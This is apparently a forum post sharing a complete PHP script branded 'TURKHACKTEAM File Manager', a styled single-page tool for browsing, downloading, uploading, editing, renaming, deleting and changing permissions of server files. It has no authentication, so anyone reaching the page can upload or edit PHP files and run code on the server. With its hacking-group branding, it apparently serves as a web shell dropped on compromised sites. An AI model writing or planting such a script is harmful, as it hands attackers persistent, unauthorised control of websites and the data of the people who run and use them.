Kod:
<?php
// ============================================================
// THT
// ============================================================
// Download — MUST run before any output
if (isset($_GET['download'])) {
$base_dl = __DIR__;
$dl_input = $_GET['download'];
$dl_real = realpath($dl_input);
if ($dl_real && strpos($dl_real, $base_dl) === 0 && is_file($dl_real)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($dl_real) . '"');
header('Content-Length: ' . filesize($dl_real));
readfile($dl_real);
exit;
}
}
// ── Base path: use __DIR__ to avoid realpath() returning false ──
$base = __DIR__;
// ── Resolve $dir safely (no strict realpath on input) ─────────
function safeDir($input, $base) {
if (empty($input)) return $base;
$path = rtrim(str_replace('\\', '/', (string)$input), '/');
if (is_dir($path)) {
$real = realpath($path);
if ($real !== false && (strpos($real, $base) === 0 || $real === $base)) {
return $real;
}
}
return $base;
}
// ── Safe path validation ───────────────────────────────────────
function safePath($input, $base) {
if (empty($input)) return false;
$real = realpath((string)$input);
if ($real === false) return false;
if (strpos($real, $base) !== 0) return false;
return $real;
}
$dir = safeDir(isset($_GET['dir']) ? $_GET['dir'] : $base, $base);
// ── Create file ────────────────────────────────────────────────
if (isset($_POST['create'])) {
$n = basename(trim((string)$_POST['filename']));
if ($n !== '' && $n !== '.' && $n !== '..') {
@file_put_contents($dir . DIRECTORY_SEPARATOR . $n, '');
}
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ── Make dir ──────────────────────────────────────────────────
if (isset($_POST['mkdir'])) {
$n = basename(trim((string)$_POST['dirname']));
if ($n !== '' && $n !== '.' && $n !== '..') {
@mkdir($dir . DIRECTORY_SEPARATOR . $n, 0755);
}
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ── Delete file ───────────────────────────────────────────────
if (isset($_POST['delete'])) {
$f = safePath($_POST['file'], $base);
if ($f && is_file($f)) @unlink($f);
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ── Delete dir ────────────────────────────────────────────────
if (isset($_POST['deletedir'])) {
$t = safePath($_POST['dirpath'], $base);
if ($t && is_dir($t) && $t !== $base) @rmdir($t);
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ── Save edit ─────────────────────────────────────────────────
if (isset($_POST['save'])) {
$f = safePath($_POST['file'], $base);
if ($f && is_file($f)) {
file_put_contents($f, $_POST['content']);
}
$backEdit = isset($_POST['file']) ? urlencode((string)$_POST['file']) : '';
header('Location: ?dir=' . urlencode($dir) . '&edit=' . $backEdit . '&saved=1'); exit;
}
// ── Upload ────────────────────────────────────────────────────
if (!empty($_FILES['upload']['name']) && isset($_FILES['upload']['error']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$target = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
@move_uploaded_file($_FILES['upload']['tmp_name'], $target);
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ── Chmod ─────────────────────────────────────────────────────
if (isset($_POST['chmod'])) {
$f = safePath($_POST['cfile'], $base);
$raw = preg_replace('/[^0-7]/', '0', (string)$_POST['cmode']);
$mode = octdec($raw);
if ($f && $mode > 0) @chmod($f, $mode);
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ── Rename ────────────────────────────────────────────────────
if (isset($_POST['rename'])) {
$old = safePath($_POST['old_path'], $base);
if ($old) {
$nn = basename(trim((string)$_POST['new_name']));
if ($nn && $nn !== '.' && $nn !== '..') {
@rename($old, dirname($old) . DIRECTORY_SEPARATOR . $nn);
}
}
header('Location: ?dir=' . urlencode($dir)); exit;
}
// ══════════ HELPERS ══════════════════════════════════════════
function fmtSize($b) {
if ($b >= 1073741824) return round($b/1073741824, 2) . ' GB';
if ($b >= 1048576) return round($b/1048576, 2) . ' MB';
if ($b >= 1024) return round($b/1024, 2) . ' KB';
return $b . ' B';
}
function fmtPerms($path) {
if (!file_exists($path)) return '----------';
$p = @fileperms($path);
if ($p === false) return '----------';
$s = (($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'));
$s .= (($p & 0x0100) ? 'r' : '-');
$s .= (($p & 0x0080) ? 'w' : '-');
$s .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
$s .= (($p & 0x0020) ? 'r' : '-');
$s .= (($p & 0x0010) ? 'w' : '-');
$s .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
$s .= (($p & 0x0004) ? 'r' : '-');
$s .= (($p & 0x0002) ? 'w' : '-');
$s .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $s;
}
function octalPerms($path) {
if (!file_exists($path)) return '0000';
$p = @fileperms($path);
return ($p !== false) ? substr(sprintf('%o', $p), -4) : '0000';
}
function ownerGroup($path) {
if (!file_exists($path)) return '-';
if (function_exists('posix_getpwuid')) {
$o = @posix_getpwuid(@fileowner($path));
$g = @posix_getgrgid(@filegroup($path));
return ($o['name'] ?? '?') . '/' . ($g['name'] ?? '?');
}
return '-';
}
function isEditable($p) {
$ext = strtolower(pathinfo($p, PATHINFO_EXTENSION));
return in_array($ext, ['php','html','htm','css','js','json','xml','md','txt',
'ini','env','yaml','yml','sh','sql','log','htaccess',
'csv','conf','config','ts','tsx','jsx','vue','py','rb','go']);
}
function fileIconInfo($path, $isDir, $isUp) {
if ($isUp) return ['↑', 'ico-up'];
if ($isDir) return ['⊞', 'ico-dir'];
$e = strtolower(pathinfo($path, PATHINFO_EXTENSION));
if ($e === 'php') return ['⚙', 'ico-php'];
if (in_array($e, ['png','jpg','jpeg','gif','webp','svg','ico'])) return ['◉', 'ico-img'];
if (in_array($e, ['zip','tar','gz','rar','7z'])) return ['⊛', 'ico-zip'];
if (in_array($e, ['js','ts','jsx','tsx'])) return ['◈', 'ico-js'];
if (in_array($e, ['css','scss','less'])) return ['◇', 'ico-css'];
if (in_array($e, ['html','htm'])) return ['◫', 'ico-html'];
return ['≡', 'ico-file'];
}
function breadcrumbs($path, $base) {
$rel = str_replace($base, '', $path);
$parts = explode(DIRECTORY_SEPARATOR, $rel);
$build = $base;
$html = '<a href="?dir=' . urlencode($base) . '">~</a>';
foreach ($parts as $p) {
if ($p === '') continue;
$build .= DIRECTORY_SEPARATOR . $p;
$html .= '<span class="sep">/</span>'
. '<a href="?dir=' . urlencode($build) . '">'
. htmlspecialchars($p, ENT_QUOTES) . '</a>';
}
return $html;
}
// ── Scan dir ──────────────────────────────────────────────────
$rawFiles = @scandir($dir);
$files = $rawFiles ? array_diff($rawFiles, ['.']) : ['..'];
// ── Panels ────────────────────────────────────────────────────
$editFile = $chmodFile = $renameFile = null;
$chmodBits = [];
if (isset($_GET['edit'])) {
$ef = safePath($_GET['edit'], $base);
if ($ef && is_file($ef)) $editFile = $ef;
}
if (isset($_GET['chmod'])) {
$cf = safePath($_GET['chmod'], $base);
if ($cf) $chmodFile = $cf;
if ($chmodFile) {
$cp = @fileperms($chmodFile);
$chmodBits = [
'ur'=>(bool)($cp&0x0100),'uw'=>(bool)($cp&0x0080),'ux'=>(bool)($cp&0x0040),
'gr'=>(bool)($cp&0x0020),'gw'=>(bool)($cp&0x0010),'gx'=>(bool)($cp&0x0008),
'or'=>(bool)($cp&0x0004),'ow'=>(bool)($cp&0x0002),'ox'=>(bool)($cp&0x0001),
];
}
}
if (isset($_GET['rename'])) {
$rf = safePath($_GET['rename'], $base);
if ($rf) $renameFile = $rf;
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>THT File Manager</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;600;700&family=Syne:wght@700;800&display=swap" rel="stylesheet">
<style>
:root{
--bg: #030c14;
--bg2: #071221;
--bg3: #0b1a2e;
--bg4: #0f2035;
--bd: #163050;
--bd2: #1e4068;
--txt: #ddeeff;
--txt2: #7ab8d8;
--txt3: #3d6a88;
--cyan: #00f5ff;
--cyan2: #00b8cc;
--grn: #00ffaa;
--grn2: #00cc88;
--yel: #ffe033;
--yel2: #c8a800;
--org: #ff9a3c;
--red: #ff3a5c;
--red2: #bb1a40;
--pur: #cc88ff;
--pur2: #9944cc;
--pnk: #ff6eb4;
--blu: #44ccf0;
--mono: 'JetBrains Mono',monospace;
--disp: 'Syne',sans-serif;
--r:8px;
}
*{box-sizing:border-box;margin:0;padding:0}
::selection{background:#00f5ff22;color:var(--cyan)}
body{
background:var(--bg);
color:var(--txt);
font-family:var(--mono);
font-size:13px;
min-height:100vh;
background-image:
linear-gradient(rgba(0,245,255,.03) 1px,transparent 1px),
linear-gradient(90deg,rgba(0,245,255,.03) 1px,transparent 1px);
background-size:44px 44px;
background-attachment:fixed;
}
::-webkit-scrollbar{width:5px;height:5px}
::-webkit-scrollbar-track{background:var(--bg)}
::-webkit-scrollbar-thumb{background:var(--bd2);border-radius:3px}
::-webkit-scrollbar-thumb:hover{background:var(--cyan2)}
/* HEADER */
.hdr{
background:rgba(3,12,20,.93);
backdrop-filter:blur(14px);
border-bottom:1px solid var(--bd2);
padding:0 22px;
height:52px;
display:flex;
align-items:center;
gap:14px;
position:sticky;
top:0;
z-index:200;
box-shadow:0 2px 30px #00f5ff0c;
}
.logo{
font-family:var(--disp);
font-size:17px;
font-weight:800;
color:var(--cyan);
display:flex;
align-items:center;
gap:9px;
letter-spacing:3px;
text-shadow:0 0 18px var(--cyan),0 0 40px #00f5ff55;
white-space:nowrap;
}
.logo-dot{
width:9px;height:9px;
background:var(--cyan);
border-radius:50%;
box-shadow:0 0 10px var(--cyan),0 0 22px var(--cyan);
animation:blink 2.4s ease-in-out infinite;
}
@keyframes blink{0%,100%{opacity:1;transform:scale(1)}50%{opacity:.4;transform:scale(.65)}}
.vsep{width:1px;height:28px;background:var(--bd2);flex-shrink:0}
.bc{
flex:1;display:flex;align-items:center;gap:2px;
overflow:hidden;font-size:12px;color:var(--txt3);min-width:0;
}
.bc a{color:var(--txt2);text-decoration:none;padding:3px 7px;border-radius:4px;white-space:nowrap;transition:.13s}
.bc a:hover{color:var(--cyan);background:#00f5ff0d}
.bc .sep{color:var(--txt3)}
.hdr-info{font-size:10px;color:var(--txt3);white-space:nowrap}
.hdr-info b{color:var(--txt2);font-weight:600}
/* WRAPPER */
.w{max-width:1640px;margin:0 auto;padding:18px 22px 48px}
/* TOOLBAR */
.tb{display:flex;gap:10px;flex-wrap:wrap;margin-bottom:16px;align-items:center}
.tg{
display:flex;align-items:center;height:36px;
background:var(--bg3);border:1px solid var(--bd2);border-radius:var(--r);overflow:hidden;
}
.tg-lbl{
padding:0 11px;
font-size:9px;font-weight:700;letter-spacing:.12em;text-transform:uppercase;
color:var(--txt3);background:var(--bg2);border-right:1px solid var(--bd);
height:100%;display:flex;align-items:center;white-space:nowrap;
}
.tg input[type=text]{
background:transparent;border:none;outline:none;
color:var(--txt);font-family:var(--mono);font-size:12px;
padding:0 11px;width:155px;height:100%;
}
.tg input[type=text]::placeholder{color:var(--txt3)}
.tg input[type=text]:focus{background:#00f5ff06}
.tg input[type=file]{
background:transparent;border:none;outline:none;
color:var(--txt2);font-family:var(--mono);font-size:11px;
padding:0 10px;width:190px;cursor:pointer;height:100%;
}
/* BUTTONS */
.btn{
display:inline-flex;align-items:center;gap:5px;
padding:0 14px;height:36px;
border:none;border-radius:var(--r);cursor:pointer;
font-family:var(--mono);font-size:11px;font-weight:700;
letter-spacing:.06em;text-transform:uppercase;
text-decoration:none;transition:.14s;white-space:nowrap;flex-shrink:0;
}
.bc-cyan {background:var(--cyan);color:#000;box-shadow:0 0 16px #00f5ff55}
.bc-cyan:hover {background:#33f7ff;box-shadow:0 0 26px #00f5ff88}
.bc-grn {background:var(--grn2); color:#000;box-shadow:0 0 14px #00ffaa44}
.bc-grn:hover {background:var(--grn); box-shadow:0 0 24px #00ffaa77}
.bc-org {background:var(--org); color:#000;box-shadow:0 0 14px #ff9a3c44}
.bc-org:hover {filter:brightness(1.2);box-shadow:0 0 24px #ff9a3c77}
.bc-red {background:var(--red2); color:#fff}
.bc-red:hover {background:var(--red);box-shadow:0 0 16px #ff3a5c55}
.bc-pur {background:var(--pur2); color:#fff;box-shadow:0 0 14px #cc88ff44}
.bc-pur:hover {background:var(--pur);box-shadow:0 0 24px #cc88ff77}
.bc-yel {background:var(--yel2); color:#000}
.bc-yel:hover {background:var(--yel);box-shadow:0 0 16px #ffe03355}
.bc-ghost {background:var(--bg4);color:var(--txt2);border:1px solid var(--bd2)}
.bc-ghost:hover {color:var(--txt);border-color:var(--cyan2)}
/* TABLE */
.tw{
background:rgba(7,18,33,.88);
border:1px solid var(--bd2);border-radius:10px;overflow:hidden;
box-shadow:0 4px 44px #0009,inset 0 1px 0 rgba(30,64,104,.3);
}
table{width:100%;border-collapse:collapse}
thead tr{background:var(--bg3);border-bottom:1px solid var(--bd2)}
thead th{
padding:9px 13px;text-align:left;
font-size:9px;font-weight:700;letter-spacing:.14em;text-transform:uppercase;
color:var(--txt3);white-space:nowrap;user-select:none;
}
thead th:first-child{padding-left:18px}
tbody tr{border-bottom:1px solid var(--bd);transition:background .1s}
tbody tr:last-child{border-bottom:none}
tbody tr:hover{background:rgba(0,245,255,.03)}
td{padding:8px 13px;vertical-align:middle;font-size:12px}
td:first-child{padding-left:18px}
.name-cell{display:flex;align-items:center;gap:9px;min-width:0}
.name-cell a,.name-cell .fn{
text-decoration:none;font-weight:600;white-space:nowrap;
overflow:hidden;text-overflow:ellipsis;max-width:340px;display:block;
transition:color .12s, text-shadow .12s;
}
.name-cell a{color:var(--txt)}
.name-cell a:hover{color:var(--cyan);text-shadow:0 0 12px #00f5ff55}
.name-cell a.d{color:var(--org)}
.name-cell a.d:hover{color:#ffb870;text-shadow:0 0 12px #ff9a3c55}
.name-cell .fn{color:var(--txt2)}
/* Icons */
.ic{
width:22px;height:22px;border-radius:5px;
display:inline-flex;align-items:center;justify-content:center;
font-size:11px;font-weight:700;flex-shrink:0;letter-spacing:0;
}
.ico-up {background:#00f5ff10;color:var(--cyan); border:1px solid #00f5ff28}
.ico-dir {background:#ff9a3c15;color:var(--org); border:1px solid #ff9a3c28}
.ico-file{background:#00ffaa10;color:var(--grn); border:1px solid #00ffaa28}
.ico-php {background:#cc88ff15;color:var(--pur); border:1px solid #cc88ff28}
.ico-img {background:#ffe03315;color:var(--yel); border:1px solid #ffe03328}
.ico-zip {background:#ff6eb415;color:var(--pnk); border:1px solid #ff6eb428}
.ico-js {background:#ffe03315;color:var(--yel); border:1px solid #ffe03328}
.ico-css {background:#44ccf015;color:var(--blu); border:1px solid #44ccf028}
.ico-html{background:#00f5ff10;color:var(--cyan); border:1px solid #00f5ff28}
.td-sz {color:var(--txt2);white-space:nowrap;font-size:11px}
.td-dt {color:var(--txt2);white-space:nowrap;font-size:11px}
.td-ow {color:var(--txt3);font-size:11px;white-space:nowrap}
/* Permissions */
.pc{display:flex;align-items:center;gap:7px}
.ps{
font-family:var(--mono);font-size:11px;letter-spacing:.04em;
padding:2px 8px;border-radius:4px;
background:var(--bg4);border:1px solid var(--bd);display:inline-block;
}
.p-d{color:var(--org)} .p-r{color:var(--grn)} .p-w{color:var(--yel)}
.p-x{color:var(--cyan)} .p-s{color:var(--pnk)} .p-h{color:var(--txt3)}
.ob{
font-size:10px;color:var(--pur);
background:#cc88ff10;border:1px solid #cc88ff22;
padding:1px 6px;border-radius:3px;letter-spacing:.04em;
}
/* Action tags */
.acts{display:flex;align-items:center;gap:3px;justify-content:center}
.at{
display:inline-flex;align-items:center;justify-content:center;
width:26px;height:26px;border-radius:5px;
font-size:10px;font-weight:800;cursor:pointer;
text-decoration:none;border:none;transition:.13s;
letter-spacing:0;font-family:var(--mono);
background:var(--bg4);color:var(--txt3);
}
.at-r{border:1px solid #00f5ff20} .at-r:hover{background:var(--cyan);color:#000;box-shadow:0 0 12px #00f5ff66}
.at-t{border:1px solid #ff9a3c20} .at-t:hover{background:var(--org);color:#000;box-shadow:0 0 12px #ff9a3c66}
.at-e{border:1px solid #00ffaa20} .at-e:hover{background:var(--grn);color:#000;box-shadow:0 0 12px #00ffaa66}
.at-d{border:1px solid #ff3a5c20} .at-d:hover{background:var(--red);color:#fff;box-shadow:0 0 12px #ff3a5c66}
.at-p{border:1px solid #cc88ff20} .at-p:hover{background:var(--pur);color:#000;box-shadow:0 0 12px #cc88ff66}
.at-dis{opacity:.18;cursor:default;pointer-events:none}
/* BOTTOM CARDS */
.bc-grid{display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-top:14px}
.bcard{
background:rgba(7,18,33,.88);
border:1px solid var(--bd2);border-radius:10px;padding:14px 18px;
}
.bcard-t{
font-size:9px;font-weight:700;letter-spacing:.14em;text-transform:uppercase;
color:var(--txt3);margin-bottom:10px;display:flex;align-items:center;gap:7px;
}
.bcard-t::before{
content:'';width:6px;height:6px;border-radius:50%;flex-shrink:0;
background:var(--cyan);box-shadow:0 0 8px var(--cyan);
}
.brow{display:flex;gap:8px;align-items:center;margin-bottom:8px}
.brow:last-child{margin-bottom:0}
.brow input[type=text],.brow input[type=file]{
flex:1;background:var(--bg4);border:1px solid var(--bd2);border-radius:6px;
color:var(--txt);font-family:var(--mono);font-size:12px;padding:7px 11px;outline:none;
transition:border-color .13s;
}
.brow input::placeholder{color:var(--txt3)}
.brow input:focus{border-color:var(--cyan2);background:#00f5ff05}
.brow input[type=file]{color:var(--txt2);cursor:pointer;padding:6px 10px}
.bcard-hint{font-size:10px;color:var(--txt3);margin-top:6px}
/* PANEL */
.panel{
background:rgba(7,18,33,.93);border:1px solid var(--bd2);
border-radius:10px;margin-top:18px;overflow:hidden;
box-shadow:0 6px 44px #000a;
}
.phdr{
background:var(--bg3);border-bottom:1px solid var(--bd2);
padding:11px 18px;display:flex;align-items:center;gap:10px;
}
.ptitle{font-family:var(--disp);font-size:14px;font-weight:700;color:var(--txt);flex:1}
.ptitle b{color:var(--cyan);text-shadow:0 0 14px #00f5ff55}
.pbody{padding:18px}
/* Code editor */
.ced{
width:100%;height:520px;
background:#020810;color:var(--grn);
border:1px solid var(--bd2);border-radius:8px;
padding:14px 16px;font-family:var(--mono);font-size:13px;
line-height:1.65;resize:vertical;outline:none;
text-shadow:0 0 7px #00ffaa30;
transition:border-color .2s,box-shadow .2s;
}
.ced:focus{border-color:var(--cyan2);box-shadow:0 0 22px #00f5ff15,inset 0 0 30px #00f5ff06}
.prow{display:flex;gap:8px;margin-top:12px;align-items:center}
.saved-b{
background:#00ffaa18;color:var(--grn);
border:1px solid var(--grn2);padding:5px 13px;
border-radius:5px;font-size:10px;font-weight:700;
letter-spacing:.1em;text-transform:uppercase;
text-shadow:0 0 10px var(--grn);
}
/* CHMOD */
.chmod-g{display:grid;grid-template-columns:repeat(3,1fr);gap:16px;max-width:430px}
.cc h4{
font-size:9px;font-weight:700;letter-spacing:.12em;text-transform:uppercase;
color:var(--txt3);margin-bottom:10px;padding-bottom:6px;border-bottom:1px solid var(--bd);
}
.cbr{display:flex;align-items:center;gap:8px;margin-bottom:8px}
.cbr input[type=checkbox]{width:14px;height:14px;accent-color:var(--cyan);cursor:pointer}
.cbr label{font-size:12px;color:var(--txt2);cursor:pointer}
.cbr label:hover{color:var(--cyan)}
.oct-disp{
margin-top:16px;padding:12px 16px;
background:var(--bg4);border:1px solid var(--bd2);border-radius:7px;
max-width:430px;display:flex;align-items:center;gap:12px;
}
.oct-lbl{font-size:10px;color:var(--txt3);letter-spacing:.1em;text-transform:uppercase}
.oct-val{
font-size:28px;font-weight:700;color:var(--pur);
letter-spacing:.12em;text-shadow:0 0 18px var(--pur);font-family:var(--mono);
}
/* RENAME */
.ren-row{display:flex;gap:10px;align-items:center;max-width:530px}
.ren-row input[type=text]{
flex:1;background:var(--bg4);border:1px solid var(--bd2);border-radius:6px;
color:var(--txt);font-family:var(--mono);font-size:14px;padding:9px 13px;outline:none;
transition:.13s;
}
.ren-row input:focus{border-color:var(--cyan);box-shadow:0 0 14px #00f5ff22}
</style>
</head>
<body>
<!-- HEADER -->
<header class="hdr">
<div class="logo"><div class="logo-dot"></div>TURKHACKTEAM</div>
<div class="vsep"></div>
<div class="bc"><?php echo breadcrumbs($dir, $base); ?></div>
<div class="hdr-info">
PHP <b><?php echo PHP_VERSION; ?></b>
·
<?php
$fr = @disk_free_space($dir);
$to = @disk_total_space($dir);
if ($fr !== false && $to !== false)
echo 'Free <b>' . fmtSize($fr) . '</b> / ' . fmtSize($to);
?>
</div>
</header>
<div class="w">
<!-- TABLE -->
<div class="tw">
<table>
<thead>
<tr>
<th style="width:38%">Name</th>
<th>Size</th>
<th>Modified</th>
<th>Owner/Group</th>
<th>Permissions</th>
<th style="width:160px;text-align:center">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file):
if ($file === '.') continue;
$path = $dir . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($path);
$isUp = ($file === '..');
$ex = file_exists($path);
$sz = $mt = $ow = $ps = $oc = '';
if (!$isUp && $ex) {
$sz = $isDir ? '<em style="color:var(--txt3)">dir</em>' : fmtSize((int)@filesize($path));
$mt = date('Y-m-d H:i', (int)@filemtime($path));
$ow = ownerGroup($path);
$ps = fmtPerms($path);
$oc = octalPerms($path);
}
list($ic, $icCls) = fileIconInfo($path, $isDir, $isUp);
// Color-coded permission string
$pH = '';
if ($ps) {
foreach (str_split($ps) as $i => $c) {
if ($i===0) $pH .= '<span class="p-d">'.$c.'</span>';
elseif ($c==='r') $pH .= '<span class="p-r">r</span>';
elseif ($c==='w') $pH .= '<span class="p-w">w</span>';
elseif ($c==='x') $pH .= '<span class="p-x">x</span>';
elseif (in_array($c,['s','S','t','T'])) $pH .= '<span class="p-s">'.$c.'</span>';
else $pH .= '<span class="p-h">-</span>';
}
}
?>
<tr>
<td>
<div class="name-cell">
<span class="ic <?php echo $icCls; ?>"><?php echo $ic; ?></span>
<?php if ($isUp): ?>
<a href="?dir=<?php echo urlencode(dirname($dir)); ?>">[.. parent dir]</a>
<?php elseif ($isDir): ?>
<a class="d" href="?dir=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($file,ENT_QUOTES); ?>/</a>
<?php else: ?>
<?php if (isEditable($path)): ?>
<a href="?dir=<?php echo urlencode($dir); ?>&edit=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($file,ENT_QUOTES); ?></a>
<?php else: ?>
<span class="fn"><?php echo htmlspecialchars($file,ENT_QUOTES); ?></span>
<?php endif; ?>
<?php endif; ?>
</div>
</td>
<td class="td-sz"><?php echo $sz; ?></td>
<td class="td-dt"><?php echo $mt; ?></td>
<td class="td-ow"><?php echo htmlspecialchars($ow,ENT_QUOTES); ?></td>
<td>
<?php if (!$isUp && $ex): ?>
<div class="pc">
<span class="ps"><?php echo $pH; ?></span>
<span class="ob"><?php echo $oc; ?></span>
</div>
<?php endif; ?>
</td>
<td>
<div class="acts">
<?php if (!$isUp): ?>
<?php if (!$isDir): ?>
<a class="at at-r" title="Download" href="?download=<?php echo urlencode($path); ?>">R</a>
<?php endif; ?>
<a class="at at-t" title="Rename" href="?dir=<?php echo urlencode($dir); ?>&rename=<?php echo urlencode($path); ?>">T</a>
<?php if (!$isDir && isEditable($path)): ?>
<a class="at at-e" title="Edit" href="?dir=<?php echo urlencode($dir); ?>&edit=<?php echo urlencode($path); ?>">E</a>
<?php elseif (!$isDir): ?>
<span class="at at-e at-dis" title="Binary file">E</span>
<?php endif; ?>
<form method="POST" style="display:inline;margin:0" onsubmit="return confirm('Delete «<?php echo addslashes(htmlspecialchars($file,ENT_QUOTES)); ?>»?')">
<?php if ($isDir): ?>
<input type="hidden" name="dirpath" value="<?php echo htmlspecialchars($path,ENT_QUOTES); ?>">
<button class="at at-d" name="deletedir" title="Delete (empty dir)">D</button>
<?php else: ?>
<input type="hidden" name="file" value="<?php echo htmlspecialchars($path,ENT_QUOTES); ?>">
<button class="at at-d" name="delete" title="Delete">D</button>
<?php endif; ?>
</form>
<a class="at at-p" title="Permissions" href="?dir=<?php echo urlencode($dir); ?>&chmod=<?php echo urlencode($path); ?>">P</a>
<?php endif; ?>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<!-- BOTTOM CARDS -->
<div class="bc-grid">
<div class="bcard">
<div class="bcard-t">Create</div>
<form method="POST">
<div class="brow">
<input type="text" name="filename" placeholder="newfile.php">
<button class="btn bc-cyan" name="create">+ File</button>
</div>
</form>
<form method="POST">
<div class="brow">
<input type="text" name="dirname" placeholder="new-folder">
<button class="btn bc-org" name="mkdir">+ Dir</button>
</div>
</form>
</div>
<div class="bcard">
<div class="bcard-t">Upload to current directory</div>
<form method="POST" enctype="multipart/form-data">
<div class="brow">
<input type="file" name="upload">
<button class="btn bc-grn">⬆ Upload</button>
</div>
</form>
<div class="bcard-hint">Max: <?php echo ini_get('upload_max_filesize'); ?> · Post: <?php echo ini_get('post_max_size'); ?></div>
</div>
</div>
<!-- EDIT PANEL -->
<?php if ($editFile): ?>
<div class="panel">
<div class="phdr">
<div class="ptitle">Edit — <b><?php echo htmlspecialchars(basename($editFile),ENT_QUOTES); ?></b></div>
<a class="btn bc-ghost" style="height:30px;font-size:11px" href="?dir=<?php echo urlencode($dir); ?>">✕ Close</a>
</div>
<div class="pbody">
<form method="POST">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($editFile,ENT_QUOTES); ?>">
<textarea class="ced" name="content" spellcheck="false"><?php
echo htmlspecialchars(file_get_contents($editFile), ENT_QUOTES);
?></textarea>
<div class="prow">
<button class="btn bc-grn" name="save">💾 Save</button>
<a class="btn bc-ghost" href="?dir=<?php echo urlencode($dir); ?>">Cancel</a>
<?php if (isset($_GET['saved'])): ?><span class="saved-b">✓ Saved</span><?php endif; ?>
<span style="color:var(--txt3);font-size:10px;margin-left:auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap"><?php
echo htmlspecialchars($editFile,ENT_QUOTES);
?></span>
</div>
</form>
</div>
</div>
<?php endif; ?>
<!-- CHMOD PANEL -->
<?php if ($chmodFile && !empty($chmodBits)): ?>
<div class="panel">
<div class="phdr">
<div class="ptitle">Permissions — <b><?php echo htmlspecialchars(basename($chmodFile),ENT_QUOTES); ?></b></div>
<a class="btn bc-ghost" style="height:30px;font-size:11px" href="?dir=<?php echo urlencode($dir); ?>">✕ Close</a>
</div>
<div class="pbody">
<form method="POST" id="cf">
<input type="hidden" name="cfile" value="<?php echo htmlspecialchars($chmodFile,ENT_QUOTES); ?>">
<input type="hidden" name="cmode" id="cmode_v" value="<?php echo octalPerms($chmodFile); ?>">
<div class="chmod-g">
<?php
$cols = ['Owner'=>['ur','uw','ux'],'Group'=>['gr','gw','gx'],'Others'=>['or','ow','ox']];
$lmap = ['r'=>'Read','w'=>'Write','x'=>'Execute'];
?>
<?php foreach ($cols as $cn => $ks): ?>
<div class="cc">
<h4><?php echo $cn; ?></h4>
<?php foreach ($ks as $k): ?>
<div class="cbr">
<input type="checkbox" id="<?php echo $k; ?>" <?php echo !empty($chmodBits[$k]) ? 'checked' : ''; ?> onchange="calcC()">
<label for="<?php echo $k; ?>"><?php echo $lmap[substr($k,1)]; ?></label>
</div>
<?php endforeach; ?>
</div>
<?php endforeach; ?>
</div>
<div class="oct-disp">
<span class="oct-lbl">Octal</span>
<span class="oct-val" id="ov"><?php echo octalPerms($chmodFile); ?></span>
</div>
<div class="prow">
<button class="btn bc-pur" name="chmod">Apply chmod</button>
<a class="btn bc-ghost" href="?dir=<?php echo urlencode($dir); ?>">Cancel</a>
</div>
</form>
</div>
</div>
<script>
function calcC(){
var ids=['ur','uw','ux','gr','gw','gx','or','ow','ox'],vals=[400,200,100,40,20,10,4,2,1],o=0;
for(var i=0;i<ids.length;i++){if(document.getElementById(ids[i]).checked)o+=vals[i];}
var s='0'+('000'+o).slice(-3);
document.getElementById('ov').textContent=s;
document.getElementById('cmode_v').value=s;
}
</script>
<?php endif; ?>
<!-- RENAME PANEL -->
<?php if ($renameFile): ?>
<div class="panel">
<div class="phdr">
<div class="ptitle">Rename — <b><?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?></b></div>
<a class="btn bc-ghost" style="height:30px;font-size:11px" href="?dir=<?php echo urlencode($dir); ?>">✕ Close</a>
</div>
<div class="pbody">
<form method="POST">
<input type="hidden" name="old_path" value="<?php echo htmlspecialchars($renameFile,ENT_QUOTES); ?>">
<div class="ren-row">
<input type="text" name="new_name" value="<?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?>" autofocus>
<button class="btn bc-org" name="rename">Rename</button>
<a class="btn bc-ghost" href="?dir=<?php echo urlencode($dir); ?>">Cancel</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
</div>
</body>
</html>



